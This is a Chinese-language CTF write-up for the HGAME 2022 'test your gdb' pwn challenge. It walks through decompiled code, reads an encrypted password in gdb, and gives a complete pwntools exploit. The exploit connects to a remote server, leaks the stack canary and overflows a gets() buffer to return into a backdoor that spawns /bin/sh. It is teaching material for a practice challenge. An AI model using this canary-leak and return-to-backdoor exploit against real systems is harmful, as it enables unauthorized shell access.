[HGAME 2022 week1]test your gdb

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  pthread_create(newthread, 0LL, (void *(*)(void *))work, 0LL);
  pthread_join(newthread[0], 0LL);
  return 0;
}
unsigned __int64 __fastcall work(void *a1)
{
  char v2[256]; // [rsp+0h] [rbp-150h] BYREF
  __int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
  __int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
  char buf[16]; // [rsp+120h] [rbp-30h] BYREF
  char v6[24]; // [rsp+130h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+148h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v3[0] = 0xBA0033020LL;
  v3[1] = 0xC0000000D00000CLL;
  s2[0] = 0x706050403020100LL;
  s2[1] = 0xF0E0D0C0B0A0908LL;
  SEED_KeySchedKey(v2, v3);
  SEED_Encrypt(s2, v2);
  init_io();
  puts("hopefully you have used checksec");
  puts("enter your pass word");
  read(0, buf, 0x10uLL);
  if ( !memcmp(buf, s2, 0x10uLL) )
  {
    write(1, v6, 0x100uLL);
    gets(v6);
  }
  else
  {
    read(0, v6, 0x10uLL);
  }
  return __readfsqword(0x28u) ^ v7;
}

首先分析源码:

main函数,个人理解是通过 pthread_create 函数创建并调用一个线程,创建的线程同等于 read(0,buf,0x28)。

这个buf通过 pthread_join 传递进了work函数,从而执行一系列其他函数。

word函数中,s2被加密,然后使用memcmp函数进行 buf 与 s2 的对比。如果 buf = s2 ,那么我们就可以利用栈溢出漏洞。

但是s2是加密的变量,因此我们需要通过gdb获取s2的内容。

首先把断点下在read函数之前,方便我们直接调试。

一路next直到 call memcmp

输入指令 x/8gx 0x7ffff7da0e10 可查询栈上对应地址内的内容。为什么是0x7ffff7da0e10呢?

因为memcmp那写着 s2 : 0x7ffff7da0e10

这两行就是0x7ffff7da0e10,也就是s2的内容。

接下来就是经典的ret2text了。

程序中埋藏了一个后门函数b4ckd00r,我们只需要调用即可。

int b4ckd00r()
{
  return execv("/bin/sh", 0LL);
}

第一步:获取Canary的值:

我们可以使用一个足以溢出但是不溢出Canary的Payload即可获取Canary的值。

也就是 RBP - 0x08 大小的Padding。

Padding = b'A' * (0x20 - 0x08)

第二步:构造Exp:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

#io = process('./service')
io = remote("1.14.71.254",28776)
elf = ELF('./service')

v2 = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
backdoor = 0x401256
Padding = b'A' * (0x20 - 0x08)

io.recvuntil(b'word\n')
io.send(v2)
io.recv(0x18)

Canary = u64(io.recv(8))

log.success("Canary: " + (hex(Canary)))

Payload_Shell = Padding + p64(Canary) + p64(0) + p64(backdoor)
io.sendline(Payload_Shell)
io.interactive()

解释一下为什么需要recv(0x18)

因为

我们发送了16个字节的v2,也就是0x10大小的v2,我们还需要接收0x18大小的垃圾数据,之后的0x08才是我们的Canary。

p64(0) 是ROP链的返回地址,理论上填什么都行。

注意:一定不能使用sendline(v2),因为sendline会添加换行符,而read只接受16个字符,v2已经16个字符了。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值